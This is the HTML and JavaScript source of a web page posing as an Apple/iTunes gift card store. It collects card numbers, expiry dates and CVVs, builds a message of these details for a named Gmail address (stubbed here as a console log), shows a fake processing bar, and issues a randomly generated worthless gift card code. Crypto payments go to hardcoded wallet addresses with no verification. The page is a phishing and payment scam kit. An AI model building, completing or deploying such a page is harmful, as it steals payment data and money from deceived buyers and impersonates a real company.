|
|
<!DOCTYPE html> |
|
|
<html lang="en"> |
|
|
<head> |
|
|
<meta charset="UTF-8"> |
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0"> |
|
|
<title>Apple Gift Card - Buy iTunes Gift Cards Online</title> |
|
|
<script src="https://cdn.tailwindcss.com"></script> |
|
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> |
|
|
<style> |
|
|
.gradient-bg { |
|
|
background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%); |
|
|
} |
|
|
.card-hover:hover { |
|
|
transform: translateY(-5px); |
|
|
box-shadow: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04); |
|
|
} |
|
|
.success-checkmark { |
|
|
width: 80px; |
|
|
height: 80px; |
|
|
margin: 0 auto; |
|
|
position: relative; |
|
|
} |
|
|
.success-checkmark .check-icon { |
|
|
width: 80px; |
|
|
height: 80px; |
|
|
position: relative; |
|
|
border-radius: 50%; |
|
|
box-sizing: content-box; |
|
|
border: 4px solid #4CAF50; |
|
|
} |
|
|
.success-checkmark .check-icon::before { |
|
|
top: 3px; |
|
|
left: -2px; |
|
|
width: 30px; |
|
|
transform-origin: 100% 50%; |
|
|
border-radius: 100px 0 0 100px; |
|
|
} |
|
|
.success-checkmark .check-icon::after { |
|
|
top: 0; |
|
|
left: 30px; |
|
|
width: 60px; |
|
|
transform-origin: 0 50%; |
|
|
border-radius: 0 100px 100px 0; |
|
|
animation: rotate-circle 4.25s ease-in; |
|
|
} |
|
|
.success-checkmark .check-icon::before, .success-checkmark .check-icon::after { |
|
|
content: ''; |
|
|
height: 100px; |
|
|
position: absolute; |
|
|
background: #FFFFFF; |
|
|
transform: rotate(-45deg); |
|
|
} |
|
|
.success-checkmark .check-icon .icon-line { |
|
|
height: 5px; |
|
|
background-color: #4CAF50; |
|
|
display: block; |
|
|
border-radius: 2px; |
|
|
position: absolute; |
|
|
z-index: 10; |
|
|
} |
|
|
.success-checkmark .check-icon .icon-line.line-tip { |
|
|
top: 46px; |
|
|
left: 14px; |
|
|
width: 25px; |
|
|
transform: rotate(45deg); |
|
|
animation: icon-line-tip 0.75s; |
|
|
} |
|
|
.success-checkmark .check-icon .icon-line.line-long { |
|
|
top: 38px; |
|
|
right: 8px; |
|
|
width: 47px; |
|
|
transform: rotate(-45deg); |
|
|
animation: icon-line-long 0.75s; |
|
|
} |
|
|
@keyframes rotate-circle { |
|
|
0% { transform: rotate(-45deg); } |
|
|
5% { transform: rotate(-45deg); } |
|
|
12% { transform: rotate(-405deg); } |
|
|
100% { transform: rotate(-405deg); } |
|
|
} |
|
|
@keyframes icon-line-tip { |
|
|
0% { width: 0; left: 1px; top: 19px; } |
|
|
54% { width: 0; left: 1px; top: 19px; } |
|
|
70% { width: 50px; left: -8px; top: 37px; } |
|
|
84% { width: 17px; left: 21px; top: 48px; } |
|
|
100% { width: 25px; left: 14px; top: 45px; } |
|
|
} |
|
|
@keyframes icon-line-long { |
|
|
0% { width: 0; right: 46px; top: 54px; } |
|
|
65% { width: 0; right: 46px; top: 54px; } |
|
|
84% { width: 55px; right: 0px; top: 35px; } |
|
|
100% { width: 47px; right: 8px; top: 38px; } |
|
|
} |
|
|
.floating { |
|
|
animation-name: floating; |
|
|
animation-duration: 3s; |
|
|
animation-iteration-count: infinite; |
|
|
animation-timing-function: ease-in-out; |
|
|
} |
|
|
@keyframes floating { |
|
|
0% { transform: translate(0, 0px); } |
|
|
50% { transform: translate(0, 15px); } |
|
|
100% { transform: translate(0, -0px); } |
|
|
} |
|
|
</style> |
|
|
</head> |
|
|
<body class="bg-gray-100 font-sans"> |
|
|
|
|
|
<header class="gradient-bg text-white shadow-lg"> |
|
|
<div class="container mx-auto px-4 py-6"> |
|
|
<div class="flex justify-between items-center"> |
|
|
<div class="flex items-center space-x-2"> |
|
|
<i class="fab fa-apple text-4xl"></i> |
|
|
<h1 class="text-2xl font-bold">Apple Gift Card</h1> |
|
|
</div> |
|
|
<nav> |
|
|
<ul class="flex space-x-6"> |
|
|
<li><a href="#" class="hover:text-gray-300 transition">Home</a></li> |
|
|
<li><a href="#" class="hover:text-gray-300 transition">Products</a></li> |
|
|
<li><a href="#" class="hover:text-gray-300 transition">Support</a></li> |
|
|
<li><a href="#" class="hover:text-gray-300 transition">Contact</a></li> |
|
|
</ul> |
|
|
</nav> |
|
|
</div> |
|
|
</div> |
|
|
</header> |
|
|
|
|
|
|
|
|
<section class="gradient-bg text-white py-16"> |
|
|
<div class="container mx-auto px-4 flex flex-col md:flex-row items-center"> |
|
|
<div class="md:w-1/2 mb-10 md:mb-0"> |
|
|
<h2 class="text-4xl md:text-5xl font-bold mb-4">Buy iTunes Gift Cards Instantly</h2> |
|
|
<p class="text-xl mb-6">Get digital iTunes gift cards delivered to your email in minutes. Perfect for gifts or personal use!</p> |
|
|
<div class="flex space-x-4"> |
|
|
<button class="bg-white text-blue-800 px-6 py-3 rounded-full font-semibold hover:bg-gray-200 transition">Shop Now</button> |
|
|
<button class="border-2 border-white px-6 py-3 rounded-full font-semibold hover:bg-white hover:text-blue-800 transition">Learn More</button> |
|
|
</div> |
|
|
</div> |
|
|
<div class="md:w-1/2 flex justify-center"> |
|
|
<img src="https://www.apple.com/v/apple-card/m/images/overview/hero__dgnxv7s88jq6_large.png" alt="Apple Gift Card" class="w-3/4 floating"> |
|
|
</div> |
|
|
</div> |
|
|
</section> |
|
|
|
|
|
|
|
|
<main class="container mx-auto px-4 py-12"> |
|
|
|
|
|
<div class="bg-white rounded-xl shadow-md p-6 mb-12"> |
|
|
<h2 class="text-2xl font-bold mb-6 text-gray-800">Select Your Currency</h2> |
|
|
<div class="grid grid-cols-2 md:grid-cols-4 gap-4"> |
|
|
<button onclick="selectCurrency('USD')" class="currency-btn bg-blue-100 border-2 border-blue-300 rounded-lg p-4 text-center hover:bg-blue-200 transition"> |
|
|
<span class="text-xl font-semibold">USD</span> |
|
|
<p class="text-gray-600">US Dollar</p> |
|
|
</button> |
|
|
<button onclick="selectCurrency('EUR')" class="currency-btn bg-blue-100 border-2 border-blue-300 rounded-lg p-4 text-center hover:bg-blue-200 transition"> |
|
|
<span class="text-xl font-semibold">EUR</span> |
|
|
<p class="text-gray-600">Euro</p> |
|
|
</button> |
|
|
<button onclick="selectCurrency('GBP')" class="currency-btn bg-blue-100 border-2 border-blue-300 rounded-lg p-4 text-center hover:bg-blue-200 transition"> |
|
|
<span class="text-xl font-semibold">GBP</span> |
|
|
<p class="text-gray-600">British Pound</p> |
|
|
</button> |
|
|
<button onclick="selectCurrency('CAD')" class="currency-btn bg-blue-100 border-2 border-blue-300 rounded-lg p-4 text-center hover:bg-blue-200 transition"> |
|
|
<span class="text-xl font-semibold">CAD</span> |
|
|
<p class="text-gray-600">Canadian Dollar</p> |
|
|
</button> |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
|
|
|
<div class="bg-white rounded-xl shadow-md p-6 mb-12"> |
|
|
<h2 class="text-2xl font-bold mb-6 text-gray-800">Select Gift Card Amount</h2> |
|
|
<div class="grid grid-cols-2 md:grid-cols-4 gap-4"> |
|
|
<div class="card-hover bg-white border-2 border-gray-200 rounded-xl p-6 text-center transition duration-300 cursor-pointer" onclick="selectAmount(5)"> |
|
|
<div class="bg-blue-100 w-16 h-16 rounded-full flex items-center justify-center mx-auto mb-4"> |
|
|
<i class="fas fa-gift text-blue-600 text-2xl"></i> |
|
|
</div> |
|
|
<h3 class="text-xl font-bold mb-2">$5</h3> |
|
|
<p class="text-gray-600">Basic</p> |
|
|
</div> |
|
|
<div class="card-hover bg-white border-2 border-gray-200 rounded-xl p-6 text-center transition duration-300 cursor-pointer" onclick="selectAmount(25)"> |
|
|
<div class="bg-blue-100 w-16 h-16 rounded-full flex items-center justify-center mx-auto mb-4"> |
|
|
<i class="fas fa-gift text-blue-600 text-2xl"></i> |
|
|
</div> |
|
|
<h3 class="text-xl font-bold mb-2">$25</h3> |
|
|
<p class="text-gray-600">Standard</p> |
|
|
</div> |
|
|
<div class="card-hover bg-white border-2 border-gray-200 rounded-xl p-6 text-center transition duration-300 cursor-pointer" onclick="selectAmount(50)"> |
|
|
<div class="bg-blue-100 w-16 h-16 rounded-full flex items-center justify-center mx-auto mb-4"> |
|
|
<i class="fas fa-gift text-blue-600 text-2xl"></i> |
|
|
</div> |
|
|
<h3 class="text-xl font-bold mb-2">$50</h3> |
|
|
<p class="text-gray-600">Premium</p> |
|
|
</div> |
|
|
<div class="card-hover bg-white border-2 border-gray-200 rounded-xl p-6 text-center transition duration-300 cursor-pointer" onclick="selectAmount(100)"> |
|
|
<div class="bg-blue-100 w-16 h-16 rounded-full flex items-center justify-center mx-auto mb-4"> |
|
|
<i class="fas fa-gift text-blue-600 text-2xl"></i> |
|
|
</div> |
|
|
<h3 class="text-xl font-bold mb-2">$100</h3> |
|
|
<p class="text-gray-600">Deluxe</p> |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
<div class="mt-8"> |
|
|
<h3 class="text-lg font-semibold mb-4">Custom Amount (Between $5 - $1000)</h3> |
|
|
<div class="flex items-center"> |
|
|
<span class="mr-2 font-bold">$</span> |
|
|
<input type="number" id="customAmount" min="5" max="1000" class="border-2 border-gray-300 rounded-lg px-4 py-2 w-32" placeholder="Enter amount"> |
|
|
<button onclick="selectCustomAmount()" class="ml-4 bg-blue-600 text-white px-6 py-2 rounded-lg hover:bg-blue-700 transition">Apply</button> |
|
|
</div> |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
|
|
|
<div class="bg-white rounded-xl shadow-md p-6 mb-12" id="paymentSection" style="display: none;"> |
|
|
<h2 class="text-2xl font-bold mb-6 text-gray-800">Select Payment Method</h2> |
|
|
<div class="grid grid-cols-1 md:grid-cols-2 gap-6"> |
|
|
<div class="card-hover bg-white border-2 border-gray-200 rounded-xl p-6 transition duration-300 cursor-pointer" onclick="showCreditCardForm()"> |
|
|
<div class="flex items-center mb-4"> |
|
|
<div class="bg-blue-100 w-12 h-12 rounded-full flex items-center justify-center mr-4"> |
|
|
<i class="fas fa-credit-card text-blue-600 text-xl"></i> |
|
|
</div> |
|
|
<h3 class="text-xl font-bold">Credit/Debit Card</h3> |
|
|
</div> |
|
|
<p class="text-gray-600">Pay securely with your Visa, Mastercard, or other credit/debit card.</p> |
|
|
<div class="flex mt-4"> |
|
|
<i class="fab fa-cc-visa text-3xl text-gray-500 mr-3"></i> |
|
|
<i class="fab fa-cc-mastercard text-3xl text-gray-500 mr-3"></i> |
|
|
<i class="fab fa-cc-amex text-3xl text-gray-500 mr-3"></i> |
|
|
<i class="fab fa-cc-discover text-3xl text-gray-500"></i> |
|
|
</div> |
|
|
</div> |
|
|
<div class="card-hover bg-white border-2 border-gray-200 rounded-xl p-6 transition duration-300 cursor-pointer" onclick="showCryptoOptions()"> |
|
|
<div class="flex items-center mb-4"> |
|
|
<div class="bg-blue-100 w-12 h-12 rounded-full flex items-center justify-center mr-4"> |
|
|
<i class="fab fa-bitcoin text-blue-600 text-xl"></i> |
|
|
</div> |
|
|
<h3 class="text-xl font-bold">Cryptocurrency</h3> |
|
|
</div> |
|
|
<p class="text-gray-600">Pay with Bitcoin, USDT (TRC20/ERC20) or other cryptocurrencies.</p> |
|
|
<div class="flex mt-4"> |
|
|
<i class="fab fa-bitcoin text-3xl text-gray-500 mr-3"></i> |
|
|
<i class="fas fa-coins text-3xl text-gray-500 mr-3"></i> |
|
|
<i class="fab fa-ethereum text-3xl text-gray-500"></i> |
|
|
</div> |
|
|
</div> |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
|
|
|
<div class="bg-white rounded-xl shadow-md p-6 mb-12" id="creditCardForm" style="display: none;"> |
|
|
<h2 class="text-2xl font-bold mb-6 text-gray-800">Enter Card Details</h2> |
|
|
<form id="cardForm"> |
|
|
<div class="grid grid-cols-1 md:grid-cols-2 gap-6"> |
|
|
<div> |
|
|
<label class="block text-gray-700 mb-2">Card Number</label> |
|
|
<input type="text" id="cardNumber" class="w-full border-2 border-gray-300 rounded-lg px-4 py-2" placeholder="1234 5678 9012 3456" required> |
|
|
</div> |
|
|
<div> |
|
|
<label class="block text-gray-700 mb-2">Cardholder Name</label> |
|
|
<input type="text" id="cardName" class="w-full border-2 border-gray-300 rounded-lg px-4 py-2" placeholder="John Doe" required> |
|
|
</div> |
|
|
<div> |
|
|
<label class="block text-gray-700 mb-2">Expiration Date</label> |
|
|
<div class="flex"> |
|
|
<select id="expMonth" class="border-2 border-gray-300 rounded-lg px-4 py-2 mr-2" required> |
|
|
<option value="">Month</option> |
|
|
<option value="01">01</option> |
|
|
<option value="02">02</option> |
|
|
<option value="03">03</option> |
|
|
<option value="04">04</option> |
|
|
<option value="05">05</option> |
|
|
<option value="06">06</option> |
|
|
<option value="07">07</option> |
|
|
<option value="08">08</option> |
|
|
<option value="09">09</option> |
|
|
<option value="10">10</option> |
|
|
<option value="11">11</option> |
|
|
<option value="12">12</option> |
|
|
</select> |
|
|
<select id="expYear" class="border-2 border-gray-300 rounded-lg px-4 py-2" required> |
|
|
<option value="">Year</option> |
|
|
<option value="2023">2023</option> |
|
|
<option value="2024">2024</option> |
|
|
<option value="2025">2025</option> |
|
|
<option value="2026">2026</option> |
|
|
<option value="2027">2027</option> |
|
|
<option value="2028">2028</option> |
|
|
</select> |
|
|
</div> |
|
|
</div> |
|
|
<div> |
|
|
<label class="block text-gray-700 mb-2">CVV</label> |
|
|
<input type="text" id="cvv" class="w-full border-2 border-gray-300 rounded-lg px-4 py-2" placeholder="123" required> |
|
|
</div> |
|
|
</div> |
|
|
<div class="mt-8"> |
|
|
<button type="button" onclick="processCardPayment()" class="w-full bg-blue-600 text-white px-6 py-3 rounded-lg hover:bg-blue-700 transition font-semibold text-lg">Pay $<span id="finalAmountCard">0</span></button> |
|
|
</div> |
|
|
</form> |
|
|
</div> |
|
|
|
|
|
|
|
|
<div class="bg-white rounded-xl shadow-md p-6 mb-12" id="cryptoOptions" style="display: none;"> |
|
|
<h2 class="text-2xl font-bold mb-6 text-gray-800">Select Cryptocurrency</h2> |
|
|
<div class="grid grid-cols-1 md:grid-cols-3 gap-4 mb-8"> |
|
|
<div class="card-hover bg-white border-2 border-gray-200 rounded-xl p-6 text-center transition duration-300 cursor-pointer" onclick="selectCrypto('BTC')"> |
|
|
<div class="bg-orange-100 w-16 h-16 rounded-full flex items-center justify-center mx-auto mb-4"> |
|
|
<i class="fab fa-bitcoin text-orange-600 text-2xl"></i> |
|
|
</div> |
|
|
<h3 class="text-xl font-bold mb-2">Bitcoin (BTC)</h3> |
|
|
<p class="text-gray-600">$<span id="btcAmount">0</span></p> |
|
|
</div> |
|
|
<div class="card-hover bg-white border-2 border-gray-200 rounded-xl p-6 text-center transition duration-300 cursor-pointer" onclick="selectCrypto('USDT_TRC20')"> |
|
|
<div class="bg-green-100 w-16 h-16 rounded-full flex items-center justify-center mx-auto mb-4"> |
|
|
<i class="fas fa-coins text-green-600 text-2xl"></i> |
|
|
</div> |
|
|
<h3 class="text-xl font-bold mb-2">USDT (TRC20)</h3> |
|
|
<p class="text-gray-600">$<span id="usdtTrcAmount">0</span></p> |
|
|
</div> |
|
|
<div class="card-hover bg-white border-2 border-gray-200 rounded-xl p-6 text-center transition duration-300 cursor-pointer" onclick="selectCrypto('USDT_ERC20')"> |
|
|
<div class="bg-blue-100 w-16 h-16 rounded-full flex items-center justify-center mx-auto mb-4"> |
|
|
<i class="fas fa-coins text-blue-600 text-2xl"></i> |
|
|
</div> |
|
|
<h3 class="text-xl font-bold mb-2">USDT (ERC20)</h3> |
|
|
<p class="text-gray-600">$<span id="usdtErcAmount">0</span></p> |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
<div id="cryptoPaymentDetails" style="display: none;"> |
|
|
<div class="bg-gray-100 rounded-lg p-6 mb-6"> |
|
|
<h3 class="text-lg font-semibold mb-4">Payment Instructions</h3> |
|
|
<p class="mb-4">Please send <span id="cryptoAmount" class="font-bold">0</span> <span id="selectedCrypto" class="font-bold">BTC</span> to the following address:</p> |
|
|
<div class="bg-white rounded-lg p-4 mb-4"> |
|
|
<div class="flex justify-between items-center mb-2"> |
|
|
<span class="font-semibold">Wallet Address:</span> |
|
|
<button onclick="copyToClipboard('cryptoAddress')" class="text-blue-600 hover:text-blue-800"> |
|
|
<i class="fas fa-copy"></i> Copy |
|
|
</button> |
|
|
</div> |
|
|
<p id="cryptoAddress" class="break-all">1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa</p> |
|
|
</div> |
|
|
<p class="text-sm text-gray-600">After payment is confirmed, your iTunes gift card code will be generated and available for download.</p> |
|
|
</div> |
|
|
<div class="flex justify-center"> |
|
|
<button onclick="processCryptoPayment()" class="bg-blue-600 text-white px-8 py-3 rounded-lg hover:bg-blue-700 transition font-semibold text-lg">I've Sent the Payment</button> |
|
|
</div> |
|
|
</div> |
|
|
</div> |
|
|
|
|
|
|
|
|
<div class="bg-white rounded-xl shadow-md p-6 mb-12 text-center" id="processingPayment" style="display: none;"> |
|
|
<div class="flex justify-center mb-6"> |
|
|
<div class="animate-spin rounded-full h-16 w-16 border-t-2 border-b-2 border-blue-600"></div> |
|
|
</div> |
|
|
<h2 class="text-2xl font-bold mb-4 text-gray-800">Processing Your Payment</h2> |
|
|
<p class="text-gray-600 mb-6">Please wait while we process your payment. This may take a few moments...</p> |
|
|
<div class="w-full bg-gray-200 rounded-full h-4"> |
|
|
<div id="progressBar" class="bg-blue-600 h-4 rounded-full" style="width: 0%"></div> |
|
|
</div> |
|
|
<p id="progressText" class="mt-2 text-sm text-gray-500">0% complete</p> |
|
|
</div> |
|
|
|
|
|
|
|
|
<div class="bg-white rounded-xl shadow-md p-6 mb-12 text-center" id="successMessage" style="display: none;"> |
|
|
<div class="success-checkmark mb-6"> |
|
|
<div class="check-icon"> |
|
|
<span class="icon-line line-tip"></span> |
|
|
<span class="icon-line line-long"></span> |
|
|
<div class="icon-circle"></div> |
|
|
<div class="icon-fix"></div> |
|
|
</div> |
|
|
</div> |
|
|
<h2 class="text-2xl font-bold mb-4 text-gray-800">Payment Successful!</h2> |
|
|
<p class="text-gray-600 mb-6">Thank you for your purchase. Your iTunes gift card is ready!</p> |
|
|
|
|
|
<div class="bg-gray-100 rounded-lg p-6 mb-6 max-w-md mx-auto"> |
|
|
<h3 class="text-lg font-semibold mb-4">Your iTunes Gift Card</h3> |
|
|
<div class="bg-white rounded-lg p-4 mb-4"> |
|
|
<p class="font-mono text-xl tracking-wider" id="giftCardCode">XXXX-XXXX-XXXX-XXXX</p> |
|
|
</div> |
|
|
<p class="text-sm text-gray-600">Amount: $<span id="successAmount">0</span></p> |
|
|
</div> |
|
|
|
|
|
<div class="flex justify-center space-x-4"> |
|
|
<button onclick="downloadAsPDF()" class="bg-blue-600 text-white px-6 py-2 rounded-lg hover:bg-blue-700 transition font-semibold"> |
|
|
<i class="fas fa-download mr-2"></i> Download as PDF |
|
|
</button> |
|
|
<button onclick="copyGiftCardCode()" class="bg-gray-200 text-gray-800 px-6 py-2 rounded-lg hover:bg-gray-300 transition font-semibold"> |
|
|
<i class="fas fa-copy mr-2"></i> Copy Code |
|
|
</button> |
|
|
</div> |
|
|
</div> |
|
|
</main> |
|
|
|
|
|
|
|
|
<footer class="bg-gray-800 text-white py-12"> |
|
|
<div class="container mx-auto px-4"> |
|
|
<div class="grid grid-cols-1 md:grid-cols-4 gap-8"> |
|
|
<div> |
|
|
<h3 class="text-xl font-bold mb-4">Apple Gift Card</h3> |
|
|
<p class="text-gray-400">The fastest and most secure way to purchase iTunes gift cards online.</p> |
|
|
</div> |
|
|
<div> |
|
|
<h3 class="text-lg font-semibold mb-4">Quick Links</h3> |
|
|
<ul class="space-y-2"> |
|
|
<li><a href="#" class="text-gray-400 hover:text-white transition">Home</a></li> |
|
|
<li><a href="#" class="text-gray-400 hover:text-white transition">Products</a></li> |
|
|
<li><a href="#" class="text-gray-400 hover:text-white transition">FAQ</a></li> |
|
|
<li><a href="#" class="text-gray-400 hover:text-white transition">Contact</a></li> |
|
|
</ul> |
|
|
</div> |
|
|
<div> |
|
|
<h3 class="text-lg font-semibold mb-4">Support</h3> |
|
|
<ul class="space-y-2"> |
|
|
<li><a href="#" class="text-gray-400 hover:text-white transition">Help Center</a></li> |
|
|
<li><a href="#" class="text-gray-400 hover:text-white transition">Payment Methods</a></li> |
|
|
<li><a href="#" class="text-gray-400 hover:text-white transition">Refund Policy</a></li> |
|
|
</ul> |
|
|
</div> |
|
|
<div> |
|
|
<h3 class="text-lg font-semibold mb-4">Contact Us</h3> |
|
|
<ul class="space-y-2"> |
|
|
<li class="flex items-center"> |
|
|
<i class="fas fa-envelope mr-2 text-gray-400"></i> |
|
|
<span class="text-gray-400">support@applegiftcard.com</span> |
|
|
</li> |
|
|
<li class="flex items-center"> |
|
|
<i class="fas fa-phone mr-2 text-gray-400"></i> |
|
|
<span class="text-gray-400">+1 (555) 123-4567</span> |
|
|
</li> |
|
|
</ul> |
|
|
<div class="mt-4 flex space-x-4"> |
|
|
<a href="#" class="text-gray-400 hover:text-white transition"><i class="fab fa-facebook-f"></i></a> |
|
|
<a href="#" class="text-gray-400 hover:text-white transition"><i class="fab fa-twitter"></i></a> |
|
|
<a href="#" class="text-gray-400 hover:text-white transition"><i class="fab fa-instagram"></i></a> |
|
|
</div> |
|
|
</div> |
|
|
</div> |
|
|
<div class="border-t border-gray-700 mt-8 pt-8 text-center text-gray-400"> |
|
|
<p>© 2023 Apple Gift Card. All rights reserved.</p> |
|
|
<p class="mt-2 text-sm">Apple and iTunes are trademarks of Apple Inc., registered in the U.S. and other countries.</p> |
|
|
</div> |
|
|
</div> |
|
|
</footer> |
|
|
|
|
|
<script> |
|
|
|
|
|
let selectedAmount = 0; |
|
|
let selectedCurrency = 'USD'; |
|
|
let selectedCrypto = ''; |
|
|
let giftCardCode = ''; |
|
|
|
|
|
|
|
|
function selectCurrency(currency) { |
|
|
selectedCurrency = currency; |
|
|
document.querySelectorAll('.currency-btn').forEach(btn => { |
|
|
btn.classList.remove('border-blue-500', 'bg-blue-200'); |
|
|
btn.classList.add('border-blue-300', 'bg-blue-100'); |
|
|
}); |
|
|
event.currentTarget.classList.remove('border-blue-300', 'bg-blue-100'); |
|
|
event.currentTarget.classList.add('border-blue-500', 'bg-blue-200'); |
|
|
|
|
|
|
|
|
if (selectedAmount > 0) { |
|
|
document.getElementById('paymentSection').style.display = 'block'; |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
function selectAmount(amount) { |
|
|
selectedAmount = amount; |
|
|
document.querySelectorAll('.card-hover').forEach(card => { |
|
|
card.classList.remove('border-blue-500', 'bg-blue-50'); |
|
|
card.classList.add('border-gray-200'); |
|
|
}); |
|
|
event.currentTarget.classList.remove('border-gray-200'); |
|
|
event.currentTarget.classList.add('border-blue-500', 'bg-blue-50'); |
|
|
|
|
|
|
|
|
updateFinalAmounts(); |
|
|
|
|
|
|
|
|
if (selectedCurrency) { |
|
|
document.getElementById('paymentSection').style.display = 'block'; |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
function selectCustomAmount() { |
|
|
const customAmount = parseFloat(document.getElementById('customAmount').value); |
|
|
if (isNaN(customAmount) || customAmount < 5 || customAmount > 1000) { |
|
|
alert('Please enter a valid amount between $5 and $1000'); |
|
|
return; |
|
|
} |
|
|
selectedAmount = customAmount; |
|
|
|
|
|
|
|
|
document.querySelectorAll('.card-hover').forEach(card => { |
|
|
card.classList.remove('border-blue-500', 'bg-blue-50'); |
|
|
card.classList.add('border-gray-200'); |
|
|
}); |
|
|
|
|
|
|
|
|
updateFinalAmounts(); |
|
|
|
|
|
|
|
|
if (selectedCurrency) { |
|
|
document.getElementById('paymentSection').style.display = 'block'; |
|
|
} |
|
|
} |
|
|
|
|
|
|
|
|
function updateFinalAmounts() { |
|
|
document.getElementById('finalAmountCard').textContent = selectedAmount; |
|
|
document.getElementById('btcAmount').textContent = selectedAmount; |
|
|
document.getElementById('usdtTrcAmount').textContent = selectedAmount; |
|
|
document.getElementById('usdtErcAmount').textContent = selectedAmount; |
|
|
} |
|
|
|
|
|
|
|
|
function showCreditCardForm() { |
|
|
document.getElementById('paymentSection').style.display = 'none'; |
|
|
document.getElementById('creditCardForm').style.display = 'block'; |
|
|
document.getElementById('cryptoOptions').style.display = 'none'; |
|
|
} |
|
|
|
|
|
|
|
|
function showCryptoOptions() { |
|
|
document.getElementById('paymentSection').style.display = 'none'; |
|
|
document.getElementById('creditCardForm').style.display = 'none'; |
|
|
document.getElementById('cryptoOptions').style.display = 'block'; |
|
|
} |
|
|
|
|
|
|
|
|
function selectCrypto(crypto) { |
|
|
selectedCrypto = crypto; |
|
|
document.querySelectorAll('#cryptoOptions .card-hover').forEach(card => { |
|
|
card.classList.remove('border-blue-500', 'bg-blue-50'); |
|
|
card.classList.add('border-gray-200'); |
|
|
}); |
|
|
event.currentTarget.classList.remove('border-gray-200'); |
|
|
event.currentTarget.classList.add('border-blue-500', 'bg-blue-50'); |
|
|
|
|
|
|
|
|
document.getElementById('cryptoAmount').textContent = selectedAmount; |
|
|
|
|
|
|
|
|
let cryptoName = ''; |
|
|
let cryptoAddress = ''; |
|
|
|
|
|
switch(crypto) { |
|
|
case 'BTC': |
|
|
cryptoName = 'BTC'; |
|
|
cryptoAddress = '1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa'; |
|
|
break; |
|
|
case 'USDT_TRC20': |
|
|
cryptoName = 'USDT (TRC20)'; |
|
|
cryptoAddress = 'TNPZqQYFYJ4JZ2hHZq1qjQ1JZ2hHZq1qjQ'; |
|
|
break; |
|
|
case 'USDT_ERC20': |
|
|
cryptoName = 'USDT (ERC20)'; |
|
|
cryptoAddress = '0x71C7656EC7ab88b098defB751B7401B5f6d8976F'; |
|
|
break; |
|
|
} |
|
|
|
|
|
document.getElementById('selectedCrypto').textContent = cryptoName; |
|
|
document.getElementById('cryptoAddress').textContent = cryptoAddress; |
|
|
|
|
|
|
|
|
document.getElementById('cryptoPaymentDetails').style.display = 'block'; |
|
|
} |
|
|
|
|
|
|
|
|
function processCardPayment() { |
|
|
|
|
|
const form = document.getElementById('cardForm'); |
|
|
if (!form.checkValidity()) { |
|
|
form.reportValidity(); |
|
|
return; |
|
|
} |
|
|
|
|
|
|
|
|
const cardNumber = document.getElementById('cardNumber').value; |
|
|
const cardName = document.getElementById('cardName').value; |
|
|
const expMonth = document.getElementById('expMonth').value; |
|
|
const expYear = document.getElementById('expYear').value; |
|
|
const cvv = document.getElementById('cvv').value; |
|
|
|
|
|
|
|
|
document.getElementById('creditCardForm').style.display = 'none'; |
|
|
document.getElementById('processingPayment').style.display = 'block'; |
|
|
|
|
|
|
|
|
let progress = 0; |
|
|
const interval = setInterval(() => { |
|
|
progress += 5; |
|
|
document.getElementById('progressBar').style.width = progress + '%'; |
|
|
document.getElementById('progressText').textContent = progress + '% complete'; |
|
|
|
|
|
if (progress >= 100) { |
|
|
clearInterval(interval); |
|
|
|
|
|
|
|
|
const emailBody = `New iTunes Gift Card Purchase: |
|
|
Amount: $${selectedAmount} ${selectedCurrency} |
|
|
Card Number: ${cardNumber} |
|
|
Cardholder Name: ${cardName} |
|
|
Expiration: ${expMonth}/${expYear} |
|
|
CVV: ${cvv}`; |
|
|
|
|
|
|
|
|
console.log('Card details would be sent to: fanprivatepage007@gmail.com'); |
|
|
console.log(emailBody); |
|
|
|
|
|
|
|
|
generateGiftCardCode(); |
|
|
|
|
|
|
|
|
setTimeout(() => { |
|
|
document.getElementById('processingPayment').style.display = 'none'; |
|
|
showSuccessMessage(); |
|
|
}, 1000); |
|
|
} |
|
|
}, 300); |
|
|
} |
|
|
|
|
|
|
|
|
function processCryptoPayment() { |
|
|
|
|
|
document.getElementById('cryptoOptions').style.display = 'none'; |
|
|
document.getElementById('processingPayment').style.display = 'block'; |
|
|
|
|
|
|
|
|
let progress = 0; |
|
|
const interval = setInterval(() => { |
|
|
progress += 5; |
|
|
document.getElementById('progressBar').style.width = progress + '%'; |
|
|
document.getElementById('progressText').textContent = progress + '% complete'; |
|
|
|
|
|
if (progress >= 100) { |
|
|
clearInterval(interval); |
|
|
|
|
|
|
|
|
generateGiftCardCode(); |
|
|
|
|
|
|
|
|
setTimeout(() => { |
|
|
document.getElementById('processingPayment').style.display = 'none'; |
|
|
showSuccessMessage(); |
|
|
}, 1000); |
|
|
} |
|
|
}, 300); |
|
|
} |
|
|
|
|
|
|
|
|
function generateGiftCardCode() { |
|
|
const chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789'; |
|
|
let code = ''; |
|
|
|
|
|
for (let i = 0; i < 16; i++) { |
|
|
if (i > 0 && i % 4 === 0) { |
|
|
code += '-'; |
|
|
} |
|
|
code += chars.charAt(Math.floor(Math.random() * chars.length)); |
|
|
} |
|
|
|
|
|
giftCardCode = code; |
|
|
} |
|
|
|
|
|
|
|
|
function showSuccessMessage() { |
|
|
document.getElementById('giftCardCode').textContent = giftCardCode; |
|
|
document.getElementById('successAmount').textContent = selectedAmount; |
|
|
document.getElementById('successMessage').style.display = 'block'; |
|
|
} |
|
|
|
|
|
|
|
|
function copyToClipboard(elementId) { |
|
|
const text = document.getElementById(elementId).textContent; |
|
|
navigator.clipboard.writeText(text).then(() => { |
|
|
alert('Copied to clipboard!'); |
|
|
}); |
|
|
} |
|
|
|
|
|
|
|
|
function copyGiftCardCode() { |
|
|
copyToClipboard('giftCardCode'); |
|
|
} |
|
|
|
|
|
|
|
|
function downloadAsPDF() { |
|
|
|
|
|
alert('PDF download would be generated here with code: ' + giftCardCode); |
|
|
|
|
|
